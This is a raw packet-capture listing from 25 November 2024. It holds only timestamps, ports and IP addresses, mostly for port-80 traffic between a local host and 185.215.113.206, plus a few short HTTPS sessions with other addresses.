Nov 25, 2024 18:28:37.110964060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.112447977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.112987041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.113271952 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.113859892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.113950014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.113981009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.114002943 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.116225004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.116307974 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.116590977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.116672039 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.118580103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.118649960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.118769884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.118968010 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.120819092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.120892048 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.120910883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.120990038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.123117924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.123270988 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.123600960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.123747110 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.125360012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.125421047 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.125586033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.125716925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.127624035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.127679110 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.127841949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.127993107 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.129894018 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.129960060 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.130201101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.130273104 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.132256031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.132325888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.132477999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.132926941 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.134310007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.134785891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.134792089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.134839058 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.136354923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.136411905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.136703968 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.136764050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.138545990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.138722897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.138788939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.140568018 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.140629053 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.141149998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.141561985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.142577887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.142637968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.143158913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.143213034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.144666910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.144721985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.145104885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.145157099 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.146625042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.146692991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.146877050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.146980047 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.148705006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.148796082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.148854017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.148906946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.150721073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.150800943 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.150854111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.150897026 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.152666092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.152748108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.153100014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.153388023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.154593945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.154659033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.154841900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.154997110 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.156563997 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.156699896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.156771898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.156884909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.158524036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.158720016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.159634113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.159694910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.160429955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.160507917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.160676003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.160748959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.162318945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.162379980 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.163383007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.163446903 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.164233923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.164390087 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.164463043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.164572954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.166141987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.166203976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.166320086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.166367054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.168106079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.168179035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.168370962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.168754101 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.170066118 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.170131922 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.170209885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.170314074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.171892881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.172014952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.172074080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.173808098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.173820019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.173865080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.173902035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.175642014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.175714016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.175864935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.175941944 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.177422047 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.177484035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.177663088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.177731037 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.179177999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.179234982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.179250956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.179301023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.180963993 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.181041002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.181168079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.181277990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.182774067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.182785988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.182847023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.184484005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.184555054 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.184627056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.186108112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.186238050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.186299086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.186352015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.187666893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.187726974 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.188064098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.188121080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.189304113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.189316988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.189384937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.190901041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.190963030 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.190989017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.191061020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.192615986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.192670107 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.193424940 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.194103003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.194113970 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.194221020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.195715904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.195838928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.195862055 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.196449995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.197329044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.197587013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.198143005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.198252916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.198853016 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.198955059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.199084044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.199134111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.200500011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.200553894 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.200604916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.200725079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.202059031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.202114105 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.202121973 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.202174902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.202366114 CET	49818	443	192.168.2.5	23.44.203.90
Nov 25, 2024 18:28:37.202392101 CET	443	49818	23.44.203.90	192.168.2.5
Nov 25, 2024 18:28:37.202512026 CET	49818	443	192.168.2.5	23.44.203.90
Nov 25, 2024 18:28:37.203377962 CET	49818	443	192.168.2.5	23.44.203.90
Nov 25, 2024 18:28:37.203388929 CET	443	49818	23.44.203.90	192.168.2.5
Nov 25, 2024 18:28:37.203682899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.203744888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.204272032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.204333067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.204730988 CET	49819	443	192.168.2.5	13.107.21.237
Nov 25, 2024 18:28:37.204767942 CET	443	49819	13.107.21.237	192.168.2.5
Nov 25, 2024 18:28:37.204869986 CET	49819	443	192.168.2.5	13.107.21.237
Nov 25, 2024 18:28:37.205378056 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.205391884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.205435038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.205454111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.205544949 CET	49819	443	192.168.2.5	13.107.21.237
Nov 25, 2024 18:28:37.205559969 CET	443	49819	13.107.21.237	192.168.2.5
Nov 25, 2024 18:28:37.205954075 CET	49820	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:37.205961943 CET	443	49820	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:37.206137896 CET	49820	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:37.206903934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.206899881 CET	49820	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:37.206918001 CET	443	49820	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:37.206990004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.207014084 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.207071066 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.208492041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.208553076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.258758068 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.259413958 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.259434938 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.260472059 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.260540009 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.260876894 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.260936975 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.267036915 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.267303944 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.267317057 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.268404007 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.268465996 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.268461943 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.268831968 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.268894911 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.269041061 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.269063950 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.272335052 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.272408009 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.273507118 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.273588896 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.284811020 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.285070896 CET	49801	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.285105944 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.286256075 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.286324024 CET	49801	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.286839962 CET	49801	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.286917925 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.305118084 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.305149078 CET	443	49800	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.311506987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.311592102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.311604023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.311650991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.311661959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.311687946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.311716080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.312638044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.312715054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.312808037 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.313011885 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.313796043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.313807964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.313843012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.314910889 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.314964056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.315284014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.315363884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.316118956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.316131115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.316201925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.317162037 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.317220926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.317548990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.317593098 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.318351984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.318365097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.318419933 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.318454027 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.319473028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.319528103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.319787979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.319835901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.320697069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.320825100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.320849895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.320965052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.321747065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.321790934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.322010040 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.322067022 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.322889090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.322933912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.323126078 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.323179960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.324039936 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.324122906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.324126959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.324234009 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.324238062 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.324243069 CET	443	49802	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.324253082 CET	443	49799	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.324255943 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.325175047 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.325239897 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.325297117 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.325402975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.326299906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.326354980 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.327270985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.327322006 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.327467918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.327478886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.327526093 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.328874111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.328919888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.328950882 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.328950882 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.329696894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.329756021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.329761028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.329806089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.330918074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.330970049 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.330979109 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.331023932 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.331998110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.332047939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.332730055 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.332969904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.333023071 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.333300114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.333364964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.333951950 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.334031105 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.334229946 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.334280014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.335150003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.335211039 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.335212946 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.335253954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.335912943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.335968971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.335975885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.336018085 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.336381912 CET	49801	443	192.168.2.5	162.159.61.3
